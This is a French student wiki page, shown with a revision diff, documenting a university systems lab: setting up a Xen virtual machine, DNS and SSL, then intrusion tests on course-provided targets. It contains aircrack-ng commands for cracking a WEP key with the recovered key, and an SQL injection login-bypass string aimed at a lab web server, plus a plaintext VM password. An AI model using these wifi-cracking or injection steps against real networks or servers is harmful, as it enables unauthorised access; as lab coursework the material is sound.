TP sysres IMA5 2021/2022 G8 : Différence entre versions
(→Intrusion sur un serveur d'application web) |
(→Intrusion sur un serveur d'application web) |
||
Ligne 99 : | Ligne 99 : | ||
pour déterminer ce mot de passe, on utilise les identifiants et le mot de passe suivant | pour déterminer ce mot de passe, on utilise les identifiants et le mot de passe suivant | ||
− | + | $ 'OR 'a'='a | |
− | 'OR 'a'='a | ||
− |
Version du 13 décembre 2021 à 17:13
Sommaire
Création de la machine virtuelle
Notre objectif est de créer une machine virtuelle sur l'hyperviseur capbreton.plil.fr.
Nous commencons par créer une image pour notre machine virtuelle.
$ xen-create-image --hostname=RinceCochon --ip=193.48.57.186 --gateway=193.48.57.187 --netmask=255.255.255.224 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye
Nous créons ensuite deux volumes logiques pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte
$ lvcreate -L 5G -n RinceCochon0 storage $ lvcreate -L 5G -n RinceCochon1 storage
$ mkfs.ext4 /dev/storage/RinceCochon0 $ mkfs.ext4 /dev/storage/RinceCochon1
$ xl create -c /etc/xen/RinceCochon.cfg
$ /dev/xvda3 /home ext4 defaults 0 2 $ /dev/xvda4 /var ext4 defaults 0 2
Quitter la vm : ctrl + ]
Entrer dans la vm :
$ xen console RinceCochon
Connexions
$ ssh root@193.48.57.183 -p 1359
DNS : tournecochon.site
DNS
Configuration Bind
apt-get install bind9
Ajout GlueRecords ns1.tournecochon.site | 193.48.57.183
Certificat ssl
aled.jpg
$ openssl req -nodes -newkey rsa:2048 -sha256 -keyout myserver.key -out server.csr
Package installé
$ apt-get install ssh $ apt-get install apache2 $ apt-get install bind9
Tests d'intrusion
Nous essayons dans cette partie de casser les clés de point d'accès wifi à l'aide d'eeePC (truite) et d'un clé wifi.
Cassage de clef WEP d’un point d’accès Wifi
On récupère le nom de l'interface de la clé
$ airmon-ng
On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: cracotte08.
On démarre l'interface en mode moniteur sur le channel 4
$ airmoon-ng start wlx40a5ef0f679b 4
On effectue les tests d'injection sur la clé WEP
$ aireplay-ng -9 -e cracotte08 -a 04:DA:DC:9C:50:58 wlx40a5ef0f679b
Association interface réseau avec le point d'accès cracotte08 (false authentification)
$ aireplay-ng -1 0 -e cracotte08 -a 04:DA:DC:9C:50:58 -h 40:A5:EF:01:3A:78 wlx40a5ef0f679b
La clé peut ensuite être décpté à l'aide des fichier output*.cap créé
$ aircrack_ng _b 04:DA:D2:9C:50:57 output*.cap
KEY FOUND! [ 55:55:55:55:5A:BC:09:CB:A4:44:44:44:44 ] Decrypted correctly: 100%
Cassage de mot de passe WPA-PSK par force brute
On récupère le nom de l'interface de la clé
$ airmon-ng
On écoute les paquets dans l'air afin d'identifier le channel de la clé correspondant à notre groupe: kracotte08.
SSID:kracotte08 CH:4 BSSID: 44:AD:D9:5F:87:07
Intrusion sur un serveur d'application web
l'objectif de cette partie est de pouvoir executer des commandes en mode root sur le serveur honey.plil.info
pour ce faire on commence par accéder au site. On nous demande alors un identifiant et un mot de passe.
pour déterminer ce mot de passe, on utilise les identifiants et le mot de passe suivant
$ 'OR 'a'='a